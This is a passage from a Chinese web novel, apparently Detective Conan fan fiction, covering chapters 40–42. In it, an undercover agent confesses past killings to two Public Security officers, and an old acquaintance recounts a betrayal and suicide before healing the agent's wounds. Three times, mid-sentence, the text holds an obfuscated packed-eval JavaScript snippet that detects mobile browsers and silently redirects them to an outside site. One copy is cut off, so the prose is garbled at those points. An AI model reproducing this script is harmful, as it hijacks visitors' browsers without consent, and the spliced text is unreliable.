诸伏景光取下自己戴着的鸭舌帽放在一边,抱着手靠在了墙上:“『杀了他,怎么样』的那种意外?” “『今晚必须动手』的那种意外?” 竹取无尘听到这话,竹取无尘僵住了。 竹取无尘在思考。 竹取无尘不说话了。 40.第 40 章 117 桐生晴收到了公安的通讯,需要回去加班,在她起身的时候,床上坐着的人叫住了她。 那人说:“对不起,我还是回答不了你的问题。” “因为我也不知道。” “但是一直走下去就知道了。” 值得吗? 变革的必需品是时间。 以后就知道了。 她看着那人,她说:“好。” 118 在桐生晴出门之后,病房中的三人都不说话了,直到床上这人的输液瓶中药液见底,眼看着就要回血,降谷零才帮着叫来了医护人员,更换了药物。 毕竟现在有人两只手都伤得差不多了。 青年依旧盯着自己纹丝不动瘫在床上的左手,看不出什么情绪。 “组织那边已经全部帮你搪塞过去了。”诸伏景光同样顺着竹取无尘的视线看去,“恢复的可能性……” “没事的。”竹取无尘还是这句话,“我也没想到会成这样,是我的问题。” “我低估了对方,又高估了我自己的水平。” 他试图动一下自己的左手指尖,可是依旧毫无动静。 “给你们添麻烦了。” “不…这…”诸伏景光的话语凝滞住,最终化为了一声轻轻的叹息。 他看向对方的黑瞳:“到底为什么要这么做?” 竹取无尘依旧只是摇头,转而背靠着床后的靠枕,闭上了眼睛。 降谷零拿着药物重新从门外走进,面前二人的气氛不算好,他把手上的东西搁在一边,同样沉默地坐回沙发处理起了文件。 诸伏景光靠坐在床边的椅子上,偶尔抬头盯一下输液瓶中的药液进度,也没有接着说话。 “你们两个这是打算在我这里过夜吗?” “还是说想等我什么时候说了你们什么时候再走?这种小把戏对我没用。” “直接相信公安或者组织给的解释不好吗?” 青年听着这动静,睁开眼,看向一侧的人。 “一个理由很重要吗?人已经救出来了,合理合法,这不好吗?” “为什么一定要去查这么多?” “你要我们信任你,竹取无尘。”降谷零没有抬头,依旧在敲打着键盘,“但是你好像并不信任我们。” 这人什么都不说,从上一次就是,他从来没有说他是怎么让琴酒打消怀疑的。 竹取无尘抿了下嘴,对于此,他确实无话可说。 “我们没有审问你,竹取。” 诸伏景光倒了杯水,试图直接递到床上那人的唇边,却被对面摇头拒绝了。 他放下水杯坐在了一边的椅子上,轻声道:“我们只是……” “我知道。”竹取无尘尝试调整自己的坐姿,又因为双手难以用力,只能重新陷进背后绵软的靠枕里。 这两个人要是真的在审讯自己就好了。 他15岁进入阿蒂斯情报总署,真论审讯他们玩不过他。 但是情况偏偏与这相反。 黄昏彻底落了下来,房间里的阴影被拉得更长,轮廓在缄默中模糊。 他能说什么?解释他为什么知道高桥光雄用卧底来交易这并不难,但是他怎么开口?这话一说出去,会造成什么样的负担?这两个人信任自己不假,但是自己做的这些事未免过于严重。降谷零今年26岁,已经坐上了这个位置,他的官途一片明朗,而自己这一通违法操作一旦主动告知他,性质就又完全不一样了。 公安警察这个职业代表了太多的东西。 由他主动告知,和被人查出来,是两种不同的概念。 有些事情他不知道怎么说,所以他选择不说。 思绪在交错,病房中只有不断响起的键盘敲击声。 通常只有他给别人出选择题的份,但现在降谷零把那道题还给了自己。 竹取无尘叹了口气。 “你们两个要是真的想当我的共犯,我确实是不会介意的。” “原来我们不是吗?”坐在一边的诸伏景光弯了弯眼睛,“我以为我上报干邑死因的那一次我们就是这种关系了。” 那双湛蓝色的瞳孔一如往常。 面对这两个人,他总得做出点回应。 青年和一边的人对视着。 “好吧。” 他突然笑了一声,接着道:“你们赢了。” “帮个忙,二位。” “把监控关一下。” 键盘的敲击声终于停了下来。 119 监控摄像头全部关闭,所有可能存在录音的设备也被房间内可以自如行动的二人清出。 窗外的天色暗了下来。 青年看着二人,直接进入了主题:“你们想从哪里开始问?今天二位警官问什么,我就答什么。” 他顿了顿,眼睛中闪过不易察觉的神色,补充道:“不过有一点我要说清楚,是你们自己主动想问的,并不是我直接说的。” “问什么答什么?”降谷零坐在一边,对上那双黑瞳,身体微微前倾,手肘撑在了膝盖上。 “问什么答什么。”竹取无尘重复了一遍。 “好。”金发公安点了点头,“当时琴酒那件事到底是怎么回事?” 一旁的诸伏景光闻言,眉头几不可察地一蹙,这显然是一件他完全不清楚内情的事。 “这件事啊………” 青年想到了那天的事情,语气平淡。 “琴酒断定我去偷过解药,可能推测我和波特酒是一伙的,想杀了我。” “我给他说我确实想偷,但是没有偷到。” 他停顿了一下,似乎在斟酌接下来的用词。 “然后,我给他说,我可以在组织内彻底归属于他这个人。” “以后他说什么,我就做什么。” “当然,这个『我』仅限于『珀洛塞可』。” “上野惠理这个任务就是这么到我手上的。” “你……”降谷零的呼吸微微一滞。 这人也就真敢向琴酒那种人效忠。 “他不可能就这么相信你。”一边靠着墙的诸伏景光接过话。 “对啊,他确实没有就这么相信我。”声音沉了下来,青年换了口气,又再度看向了公安那双蓝色的瞳孔。 那是一种寂静又温和的色彩。 “他让我杀了两个人,一个是和美国财团有关系的FBI,另外一个人的代号是代基里。” “有监控录像作为证据,现在在琴酒的手上,我拿不到。” “我自以为让你们知道这些事没什么好处,就没有说,抱歉。” 一旁坐着的两个人深深对视了一眼。 “这不怪……”诸伏景光想要接着说点什么,却被床上的人打断了。 “这不怪我,因为就算我不动手,那两个人也会死在琴酒手上,我有我的苦衷?”竹取无尘眯眼笑了,“你想说这个,我知道。” 他曾经对雪莉也这么说过。 “但是我纠结的不是这个,我也没什么苦衷,我有我的目的。” 他其实真不算个好人,连剩下的一点愧疚都被消磨得差不多了。 “我纠结的是这件事对于【公安警察】的影响。” “因为我其实不能算是被迫的。” “同样的,我杀了普拉米亚也是因为我有我的目的。” 诸伏景光觉得面前这个人说到这里的时候有点奇怪。 这人不会觉得…… “竹取无尘。”猫眼青年直接走近床前,俯身单手撑住了那人靠枕边的床缘,灯光被些许挡住,阴影半笼罩着床上的人。 他盯着对方那双没有情绪的黑瞳:“你是不是误会什么了?” “我也杀过人。” 竹取无尘:“你是在有公安的许可下杀的。” “你也是。” “我不是。” 那人的语气依旧平淡,诸伏景光简直要被这话气笑了。 “好,你不是。”他点了点头,起身站好,“那我也不是。” 青年难得露出来了不赞同的神色,正要说点什么,被诸伏景光接着说的话堵了回去。 “你知道你偷解药那件事一整件事都没有被录入公安系统吗?” 话题的转换让床上的人一愣,他摇了下头,说道:“不知道。” “不过我也猜得差不多了。” “那件事情上报的是极道内部矛盾,对外公布的是燃气爆炸。”降谷零在一边接着话。 “那整个019实验基地死了多少人?” “8人。” “好。”诸伏景光坐了下来,平常一直端坐的公安略显散漫地靠在了椅背上,“那这8个人就是我杀的。” “在没有公安的许可下杀的。” 竹取无尘蹙眉,接着就要反驳:“你没……” “你是为了救我才会这么急着去拿药的。”诸伏景光接着说,“如果不是为了救我,那件事不会发展成这样。” “我说了,我们是共犯。” “按照你们这么说。”降谷零坐在一边也笑了,“那份解药我也吃了。” “现在我们三个都是共犯了。” “噢,还有黑麦那个FBI。”金发公安看向床上的人,“你有好多共犯啊,警官。” “从法律程序上来说……”竹取无尘还在试图说点什么。 “从法律程序上来说,”降谷零环抱着双手,“019实验基地是煤气爆炸。” “同样从法律程序上来说,那天你就是被琴酒胁迫的。” “更何况我们都当了这么久搜查官了,违法的事情难道我们做得少了?” “就算不提组织,从法律程序上来说,整个警察厅又做了多少干净事?” “…………” “…………” 青年没有接话,他的视线从面前的二人脸上轻飘飘地掠过,最终慢慢回落到自己身上的被子。 半晌,一声极低的笑音从喉间逸出,轻得像一声叹息。 “你们还真是会给我找理由。” “因为都是事实。” “…………” 一段漫长的静默后,竹取无尘又倏地笑了。 他抬眸,目光里再无遮掩:“你们确实赢了。” “普拉米亚这件事情。” 青年歪了歪头,接着讲道:“高桥光雄那天打电话被我听到了,他说要是这一帮废物警察在8号之前没有把他儿子带出来参加峰会的话,他就会直接调取警方搜查官的资料,直接去和组织内部的人交易。” “这人没把搜查官的命当命,我没有证据,警察厅什么东西都批不下来。” “时间太紧了,我不敢赌,不然会出事。” “于是我找上了普拉米亚,把她引了过去。” “唯一的意外就是我真的没有想到她这么能打,我也没想到我会连中两枪。” “还得谢谢你们那天来救了我。” 那天那种情况,那女人的状况可比他好了太多,他们两个再这么耗下去,会发生什么真的不好说。 “顺便帮我给那位卷发警官说一下,应该是他送我来的医院?也谢谢他。” “所以,我希望组织里应该没有搜查官暴露吧。” 他环视着面前的两个人,二人的瞳孔有些微缩。 青年察觉到气氛有些不对,眼神微闪。 “什么意思?有人暴露了?” “不,没人暴露。”诸伏景光的声音突然有些发紧。 “但是我的资料被动过。” “你的资料?”竹取无尘突然转头诸伏景光,“什么时候?” “就在那天晚上。”降谷零揉了下鼻梁,所有的事情都有了合适的解答。 在那天之后,他特地让人去查看了警视厅的纸质文件档案库。 自己幼驯染的纸质资料也被动过了。 “原来你是为了这个。”诸伏景光的目光落在面前人那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580587|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只无力垂落的手上,“你的手也是因为……” 这份代价太沉重了。 如果他当时转换策略,自己也就不会进审讯室,竹取无尘不必为了救自己,独自冒着风险跑去拿药,更不会因此被琴酒察觉。 如果不是因为高桥光雄想动卧底资料,竹取无尘也不会去找上普拉米亚,更不可能受这么重的伤。 而幼驯染的资料那个人动不了,竹取无尘又直接负责高桥辉的任务,他刚刚好是一个能下手的目标。 这人的伤………… 这份代价太沉重了。 “诸伏景光你在想什么!”竹取无尘突然厉声打断了弥漫的思绪,猫眼青年回过神,无言地伫立在一边。 青年死盯着一边的同事。 诸伏景光是一个怎么样的人? 温润?正义?为了安抚他甚至不惜把“共犯”这种词都硬生生往自己身上套的人? 他太适合这个职业了,那份根植着的良善使他绝不会被仇恨和杀戮的底层逻辑所侵蚀———那恰恰是他竹取无尘永远无法触及的地方。 正因如此,他才更清楚地认识到诸伏景光是一位怎样优秀的公安。 那是一种纯粹的光亮。 但是这样的人会被更加柔软的情感所影响到——比如爱和愧疚。 而这一类情感是最容易扭曲自我的东西。 早知道被查到的是诸伏景光,他或许就不该给他们说的。 之前那些事也就算了,但是现在自己的手彻彻底底出了问题,他刚刚明显听到了诸伏景光放大的心声。 这种人不能被自己影响了,自己同样也不想用他的情绪利用他做点什么。 他理所应当走得更远才对。 “第一,我受伤不是因为你,把我弄成这样的人已经全死了。” “更何况我左肩这一枪是替高桥辉挡的,和你没有一点关系。” 但是那个人看起来应该是不会有什么多余的情感了。 “第二,你那天救了我,解药那件事,我们扯平了,而且就算当时你没出事,那个解药我也迟早会去拿的。那天的任务出现了问题,是因为警视厅的内鬼,不是因为你。” “第三,高桥光雄这件事,换成随便任何一个人,我都会救。” 只是他没想到这个人会刚好是诸伏景光。 还好去做这个任务的人是他。 “还有。” 他又转头看向降谷零。 “019实验基地那件事,不需要犯人,更不需要这么多共犯。” “好好当公安不好吗?”青年安抚性地勾了勾唇,“监狱坐不下这么多人吧。” “就算真要说犯人,也应该是组织那帮人进去吧?哪有好人坐牢的?” “所以,诸伏,”他真的恨自己怎么偏偏伤的是手,因为他现在很想去拽一下诸伏景光的领子。 “我知道这话说出来会显得我有点自恋。” 竹取无尘再一次对上诸伏景光的蓝眸。 “但是我真的没事,也和你没什么关系,所以不要觉得太沉重,好吗?” “不要被这些事情影响,好吗?” “我从来没有为你做过什么,你不过是刚好撞上了我的目的,而我是自己选择去这么做的。” 他只做自己想做的事情,这件事正好是救人,而诸伏景光恰好被他捞了一把。 仅此而已。 “………” 诸伏景光没有回话,他神色复杂地看向面前的人。 夜幕垂了下来,窗外隐约可见树影晃动。 半晌后,他走上前,半蹲下身轻抱了一下对方。 青年的身上依旧停留着些许的血腥味,不过更多的还是病房内长久不变的消毒水味。他避开了面前人的受伤处,温声道:“好。” “还有。” “谢谢。” 一个克制而温暖的、点到即止的拥抱。 没等另外一边的人做出什么反应,下一秒,猫眼青年便起身后退了半步,维持在了一个刚刚好的距离。 “我会直接让警察厅那边快点安排你撤离的。”降谷零已经开始拿过手机,又要接着处理下一轮的事务。 “你想去哪里?北欧?澳洲?” 竹取无尘被刚刚诸伏景光的动作弄得怔愣了一瞬,青年眨了眨眼,思绪流转,接着肯定地说道:“我哪里都不去。” “我说了我没事,我不撤离。” 这确实是一个跑路的好时机,他可以明目张胆地不当公安搜查官了。而且组织用了THK004就是因为怕他们跑,所以现在自己要是跑了,那边甚至都不会追杀过来。 但是不行。 他需要等精神力恢复好,然后去找那个人。 希望那人还想见他。 不然他就真的要拖着一只当作摆设用的左手过一辈子了。 “竹取…你……”诸伏景光不赞成地蹙了下眉。 “起码再给我两个星期,如果到了那个时候……” 公安的电话铃声突然响起,青年停住了话语,示意降谷零先接电话。 “你说医院前台有人指名道姓地要见竹取无尘?” 他看了一眼床上的人,而竹取无尘了然地眨了眨眼睛,说道:“问问那个人叫什么?” 降谷零按照青年的说法往电话那头传达。 “他们说是叫……洛洛溪?” 好奇怪的名字。 外国人? “哈。”青年的眼底莫名闪过了让人看不懂的情绪,“让他过来吧。” “你熟人?”诸伏景光想到了竹取无尘的资料,如果有这种名字奇怪的人,他应该会记住的才对。 “不对哦。”床上的人摇头。 “我仇人。” 那个把他直接告发给了瑟克尔高层的人。 一边的幼驯染二人:………? 仇人? 但是一边的人没有接着解释了。 陈无给的东西确实是好东西啊。 41.第 41 章 120 鉴于竹取无尘给出的解释实在是太奇怪,二位公安在获取病房主人的同意后,暂且待在了房内。 他们看着那人在被公安带进了房间后,也只是一声不吭地站在一边。 这两个人的气氛到底是怎么回事。 降谷零和幼驯染交换了个眼神,手已经要将将碰上身后别着的枪支。 “怎么了洛洛溪,终于敢来见我了?”竹取无尘歪着头看向那天夜里曾经偷偷跑去他安全屋附近的人,“上次杀我没杀成,敢过来接着杀了?” 一旁听着的两位公安突然眼神一凛。 但是门口的红瞳青年翕动了下嘴唇,可最终,比任何音节都更先涌出的,是骤然夺眶而出的泪水。 “你……”竹取无尘又愣了。 这一天两天的这些人怎么都在做他意料之外的事情。 诸伏景光他们根本就没质问自己为什么杀了普拉米亚就算了,这孩子又是什么情况。 “你别……不是……” 青年有些语无伦次,求助性地看向了一边站着的两位公安,又想起来这两人比他更懵,他只好转回头,看着门口那人用袖子不停地抹眼泪,叹了口气,声音里带上了些许无奈:“算了,想哭就哭吧。” 谁来帮他看看他今天是不是在散发着一种大善人一样的光辉。 “对不起。” 门口的人终于说出来了第一句话,声音里带着很明显的哽咽,他再度看向了床上坐着的人,眼前水雾模糊,那人不太真切。 都是我的错。 这么久以来所有想说出口的话都凝成了一句又一句的道歉。 “对不起。” “都怪我。” “对不起。” 121 【“瑟克尔党核心控制区”】 陈无那个人死得无声无息。 洛洛溪只知道那人出事了,但是他不知道那人在哪,又到底出了什么事。 竹取无尘来问过他,可是他也不知道。 不久之后竹取无尘又一言不发地走了。 等那人再回来的时候,带来的是死讯。 尸体。 他最后只见到了这具尸体。 甚至已经不能算是那个人的尸体了。 精神域消失不见,精神画布被阿蒂斯长久以来的诅咒彻底损毁,那人阖着眼,额间是破开口的血洞。 他是高级治愈系能力者。 但是救不回来,他谁都救不回来,洛雨他救不回来,陈无他也救不回来———他为什么只能眼睁睁看着这些人一个又一个死在他面前。 为什么啊? 为什么他谁都救不回来啊? 故乡被枯骨掩埋。 边境的城市里曾经很热闹。 儿时姐姐会常拉着他和陈无出去玩,夜里曾是带着虫鸣声的微风。 清晨的雨再也洗不净硝烟味。 再到最后的一无所有。 他不要报仇了,不能再有人死了———洛雨她倒在了那片雪中,如果阿蒂斯的情报没有泄露,那场行动又怎么会变成这个样子? 陈无同样是被阿蒂斯的人出卖的。 全都怪阿蒂斯。 全都怪阿蒂斯。 他看着那面沾血的旗帜,他问竹取无尘为什么还要回去? 那人说不回去的话陈无的努力就都白费了。 他摇头,他不明白为什么在明确陈无就是被阿蒂斯的人害死的情况下,这人还能像什么事都没发生一样地回去。 仇恨与痛楚撕扯着神经,在每一个角落蔓延。 瑟克尔党欢迎所有被阿蒂斯压迫过的人———无论是异能者还是普通人,他们都一样欢迎。 他们说那高悬在天上的太阳已经掉下来了!他们说阿蒂斯不过已经是苟延残喘的空壳!那个腐败的国家理所应当为亡魂赎罪! 他们说新世界该来了! 他不知道,但是他清楚,如果竹取无尘再继续为阿蒂斯服务,竹取无尘也会死。 那是他在这个世界上最后一个家人了。 他不想那个人死,他害怕了。 每天、每一天夜里、是姐姐、陈无、还有好多、好多声音。 恐慌感在身体里横冲直撞着要出来。 所以他去找了他,那天他是这么说的。 他说。 “我们算了吧,竹取。” “阿蒂斯已经没救了。” “我们归属瑟克尔吧。” “别管他们了。” 那天那个人晃着他的肩膀说了什么,可是他一个字都没听进去。 他只知道竹取无尘拒绝了。 他看着那人离开,陈无的样子又在脑海中闪过,铺天盖地的眩晕卷着他,他弯下腰干呕,舌根泛起灼热的苦。 他不想竹取无尘和那人落得一个一模一样的结局。 自己的手在止不住地抖。 恐惧扭曲成一个浓稠的墨点,滴进透彻的水里。 既然竹取无尘不肯答应他,他就直接把人逼反就行了。 他不知道自己怎么了。 但是只要竹取无尘意识到自己没有办法了,就会和他一起走的吧。 那份资料被他亲手交到了瑟克尔高层的手上,他还特地把竹取无尘引了过来,目的就是告诉那人———你没办法了吧。 一起在瑟克尔好好活下去不好吗? 这是他这辈子做过的最错误的一件事。 竹取无尘听到了,他直接转头一路杀进了瑟克尔的总署文档室,那是一条只进不出的死路。 那人把所有能接触到的数据全部传输回了阿蒂斯,等他意识到他都做了什么,混在一堆群情激愤的人里赶到的时候,那人已经把枪对准了下颚。 “砰。” 血溅开了。 一份生命的重量又是多少? 那人倒下了,带着他们所有的过往,就这么死在了他的面前。 他都做了些什么? 竹取无尘是他杀死的。 他是凶手。 他杀了他在这个世界上最后一个家人。 他都做了些什么啊? 当他看向四周,那些人欢欣鼓舞地欣赏着尸体,他们说———他干得好。 阿蒂斯的人哪怕千刀万剐也不解恨! 他们说,他洛洛溪是今天的英雄。 他们说,可惜啊可惜,让这个人自杀了,不然他们有得是手段让这人感受一下瑟克尔人民长期以来所受的痛苦。 他们说,现在这人的尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582459|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体不还在这里吗? 他猛地清醒了。 这些人想干什么。 他看向四周人的眼睛———那是一双双压抑着狂热喜悦的眼睛。 这些人想干什么。 他拦住了,还好他在这里,还好他清醒了。 他把所有人赶了出去,他说这是他的功劳,他有这个权利。 那把枪。 空旷的房间里只剩下了尸体和一地的血,他颤着手,同样拿起了竹取无尘用来自决的那把枪,跪在了那人面前,枪口指着太阳穴,在扣下扳机的一瞬间,那一段话却突然出现在耳边。 “如果我现在回去的话,陈无所有的努力就都白费了。” 动作停住了。 对。 不能死。 他理所应当去赎罪———他要把竹取无尘的尸体安顿好,然后去接着做陈无和竹取无尘做的事。 他转头,那人的尸体却突然不见了。 他不知道发生了什么,他找了很久也没有找到,但是直到他也死在瑟克尔的人手上之后,他终于知道发生了什么了。 他来到了这个完全陌生的世界,察觉到了那个熟悉的精神域。 他要去找他。 户籍处理浪费了他不少时间,还好这个国家都是纸质文档居多,给了他钻空子的机会。 竹取无尘。 他找到了。 活着的竹取无尘————不是那个无声无息倒在他面前的尸体。 太好了。 他不知道怎么形容他那天的心情,脑子里只剩下了这段话。他只是觉得、太好了、太好了、太好了、太好了、太好了、太………他想冲上去的脚步顿住了。 他该怎么面对他? 竹取无尘察觉到了他的存在,他又突然不敢动作了。 那人是个心软的人,他知道,他甚至都不会恨他。 可是他想让竹取无尘恨他,如果能把那一枪补在他头上他也心甘情愿———但是那个人偏偏不可能这么做。 他偷偷地看着他转身回了公寓,那人好像受伤了,精神力也没有恢复好,但是他公寓里有别的人,他应该不会出事。 这就够了。 虽然不知道竹取无尘跑去做了什么,但是他能感知到那个人的精神域,确保这个人还活着就行了。 他们不需要见面,他活着就够了。 直到二十多天前,那人的精神域突然消失了。 他找不到了。 他们这帮精神系能力者就是觉得自己有精神画布撑着,和别的能力者不一样,所以就仗着精神力不会被直接清空,天天上蹿下跳横冲直撞。 原本他以为只是两天就能好的事情,没想到十多天过去了,他还是什么都找不到。 消失许久的恐慌感再度出现在身体里,那些人的尸体一遍又一遍在眼前浮现。 不要再出事了。 但是他不知道从哪里开始找,那人可能都不会去医院,毕竟精神力这种问题这个世界没人能治。 他甚至不知道这人现在还叫不叫竹取无尘。 他应该去见他的,起码得先保证他能联系得上他。 一直到今天他才又找到了这个人。 这一次不管怎么样他都要去见他一面。 42.第 42 章 122 “我的病房也是当上会客室了。” 竹取无尘看着一边坐下后就又不说话的洛洛溪,转头看向了依旧没有出门的降谷零和诸伏景光,总觉得有点诡异。 这三个人同时出现还是哪里有点不对劲吧。 次元壁这种东西真的还存在吗。 “你需不需要休息一会?”诸伏景光突然发觉这人醒了之后就一直在和他们说话,明明一边还挂着输液瓶。 “我睡了二十多天呢。”青年笑道,“一次性把觉都补好了。” “不过。”他又看了一眼一边只负责坐着和盯着他的洛洛溪,“要不…让我们两个单独待一会吧?” “别开监控,麻烦你们了。” 降谷零点了点头,塞了只报警器在青年的右手里:“有事直接按这个就行。” 竹取无尘一言难尽地拿着手上的东西。 “你们把我看成什么了?” “我不至于这么弱吧?” “你整条左臂都废了。”洛洛溪在一边闷着声音道,“他们做得对,你现在就是很弱。” “这就是你除了『对不起』和『都怪我』之外的第三句话?”青年没了什么好语气,坐在一边的人又不接话了。 “那我们两个先出去了。”幼驯染二人确认了目前二人的气氛缓和下来,一前一后走出病房,带上了门。 病房内恢复冷清,一直坐着的红瞳青年沉默地站了起来,开始检查着床上人的伤势。 “你知道现在就算我不用异能也能听到你在想什么吗?” “…………”一边的人手上的动作顿了一下,接着保持一如既往的沉默。 “…………” 竹取无尘觉得这间病房是不是有什么奇怪的规则怪谈。 比如每个人进来都要和他面对面沉默大半个小时什么的。 “你过度使用了精神力。” “精神域塌了,只恢复了四分之一。” 现在规则的第二条就是每个人都要进来告诉他他到底伤得有多重。 “死不了。”青年合上了眼,精神域这种东西和他们精神系能力者没什么关系,别的异能者需要精神域来当精神力的载体,他们精神系的直接用精神画布来当载体就行了。 换言之就是,只要精神画布不碎,他们就不可能死于精神力耗尽导致的枯竭。 更何况他们也看不见精神域这种东西———那玩意在他们身上更像是给外人表明自己是个异能者。 不过难怪自己的精神力恢复得这么慢。 “这个世界的医疗技术治不好你的手,我直接帮你恢复掉,会很痛,你忍住了。” 来了这个世界之后他的能力莫名其妙带了点疼痛的副作用。 “………谢谢。” 竹取无尘简直不敢想这人要是这个世界的医生会被投诉成什么样。 洛洛溪反手扯开滞留在青年手上的输液管,按住了伤口处。 是枪伤。 红色的瞳孔中闪过一丝不理解的情绪。 烧红铁水般的滚烫的感觉从伤口处烧了上来,皮肤下每一根神经都仿佛被点燃,新生的骨从血肉里剥离开,锤子一样砸了下来。 空气中仿佛有烧焦的气味。 精神力值降低至50% 床上的人皱了下眉,睁眼盯着自己一边可以开始缓慢移动的指节。 “不痛吗?”洛洛溪按住了那人想试图接着进行的动作,“别动了,好了再动不行吗?” “才这么几天过去你就忘了我是做什么的了?”他看向许久未见的故人,玛瑙般的红在冷白的病房中有些突兀。 只是痛而已。 阿蒂斯的情报总署那边暂时不提,训练基地里陈无揍他的时候下的手都比这个重。 而且没有THK004的药效痛。 那个破东西真是痛死他了。 “你好像很笃定我会过来帮你。”洛洛溪按向了那人左臂上的刀口处,“哪怕在你的视角看来我是要杀了你?” “虽然不知道你那个时候到底是怎么想的。” “但你不是那种人。” 竹取无尘想到了当年的事情。 “而且我也没觉得你会来见我,我还打算跑出去找你来着。” “……………”洛洛溪不接着说话了,手下按着的伤口正在愈合,渐渐只留下一道显眼的疤痕。 精神力值降低至45% 青年见状,正想继续说点什么,一滴带着温度的液体却滴落在了他刚刚恢复知觉的左手上。 泪水。 他抬头,刚刚已经平复了情绪的人的眼泪又开始大颗大颗往下掉,些许已经砸在了雪白的被子上,甚至比刚刚更严重,逐渐从啜泣变成了大声的抽噎。 “对不起。” “对不起。” “对不起。” 这孩子的呼吸频率明显过于快了,这样下去他会过呼吸的。 “洛………”青年正想开口劝慰,一边的人却没有给他这个机会。 “我不知道我怎么了,我太害怕了……太害怕了……对不起,对不起。” 他剧烈地喘息着,在抽噎之间抽空说出来了不太成句的句子。 “你不要……不要原谅我,是我做错了,我被瑟克尔内部的人影响到了,是我,都怪我,是我把你害成这样的,没有我你明明不会……” “对不起,对不起……” “别哭了。”青年温声打断了一边情绪越来越激烈的话语,“再哭我的被子就要湿了。” “我也没说过我原谅你了啊。” 他今天一定散发着一种大善人的光辉。 “那你帮我把伤治好,就当补偿我了,好吗?” “好……好。” 站着的人又用袖子擦干了眼泪,其实竹取无尘很想说床头柜上面有餐巾纸,但是他最终还是把这句话憋了回去。 洛洛溪转向站在了床的右侧,看着面前这人另外一处枪伤,忍不住带着哭腔问道:“你到底干什么去了?” “这个国家不是禁枪吗?” 对啊,不是禁枪吗。 青年叹了口气:“公安警察,潜入搜查官。” “你为什么……” “我不知道。” 他真的不知道,这个身份跟系统初始自带的一样。 洛洛溪没再接着问,他吸了吸鼻子,碰上了那最后一处伤口。 精神力值降低至35% “全部恢复了。” “好,谢……”竹取无尘话音未落,正准备直接起身,却被面前人突然一下用力抱住了。 与刚刚不同,那孩子紧紧用着力,仿佛要借此平息身体上的颤抖,他清晰地感受到了对方身上传来的浓重的恐惧。青年沉默片刻,最终轻叹一声,缓缓伸手回抱住了那个发着抖的人,带着温热的安抚,帮着那人一下一下地顺着凌乱的呼吸。 现在这间病房的第三条规则就是每个人进来抱都要他一下。 今天是世界拥抱日吗? 他要不也去抱一下桐生晴? “没事了。” “我这不活得好好的吗?” 对面没有回话,只是把头埋在自己的脖颈里,竹取无尘觉得这孩子今天可能要把他的病号服哭湿了才肯罢休。 “我还没问你,你这是也死了?” 脖颈处埋着的人点了点头,声音闷在了衣服里:“瑟克尔党的人想对阿蒂斯B305区出手。” 平民区。 这么久过去了,这帮人果然还是藏不住了。 “守住了?” “守住了。” “好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590400|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “洛洛溪,你做得很好。” “辛苦你了。” “已经没事了。” 起码对这孩子来说,已经没事了。 123 “你都已经好了,还要接着在这里呆着吗?”洛洛溪手里拿着一大包被塞过来的餐巾纸,看着已经站起来开始活动手腕的人。 “当然———不待着了。” 竹取无尘眯眼笑了。 谁喜欢有事没事呆在医院里啊。 “我一会找时间出去,你自己先走吧。” “不过我还是会稍微装一下的,不然真的太奇怪了。” “那我先走了,受伤了一定要直接联系我。” 往日的熟人在他手机里留下了联系方式,灯光下那人的发丝泛起深蓝,红色的瞳孔认真地看向他。 “别再死了。” 这个世界里只要竹取无尘还剩下一口气,他就能拼了命地把他救回来。 “最起码也得撑着一口气等我过来。” “我觉得我应该还是挺强的?”青年靠着身后的窗户,“不用时时刻刻都需要你们治愈系跟着吧。” “失忆了的半吊子就别逞强了。”洛洛溪的视线落向对方已经可以自如行动的左手,二十年和三年的差距他还是分得清楚的。 “我想起来不少了。” 红瞳青年审视了一下面前的人:“没觉得。” “就算你想起来了,你现在也撑不住那个能力。” “你心情真是彻底好了,还训起我来了。”竹取无尘指了一下自己的肩膀,“我衣服还湿着呢。” 洛洛溪不接着拌嘴了,他又缓缓地盯向那双鲜活的、有生命力的黑瞳。 “我是认真的,竹取。” “好好活着,好吗?” ————『如果你恨我就好了。』 有些伤痕确实没有办法好了。 “…………” 竹取无尘听着那人骤然放大的心声,轻叹道:“我可不敢给你保证这种事情。” 自己的脑袋不知道被枪指着多少回了。 总有人在提醒他他是会死的。 他知道,他比谁都知道,他死过一次了。 “但是我会尽力的。” 青年看着出门的洛洛溪直接给他把灯关上了,但他依旧站在窗边,直到在高楼的窗户里目送那人离开,才又慢慢坐回了床,思量着刚刚听到的事情。 这孩子之前中了瑟克尔党的招了。 瑟克尔党收留所有被阿蒂斯压迫的人,只要你也仇视阿蒂斯,你就是瑟克尔党内的一员。 瑟克尔在大量豢养仇恨和愤怒。 很明显洛洛溪被严重影响到了,他分不清自己在干什么。 太熟悉了,这是精神系能力者的常用手段。 瑟克尔高层内有高级精神系能力者。 如果不是高级精神系能力者,他应该很早就察觉到了。 但是为什么? 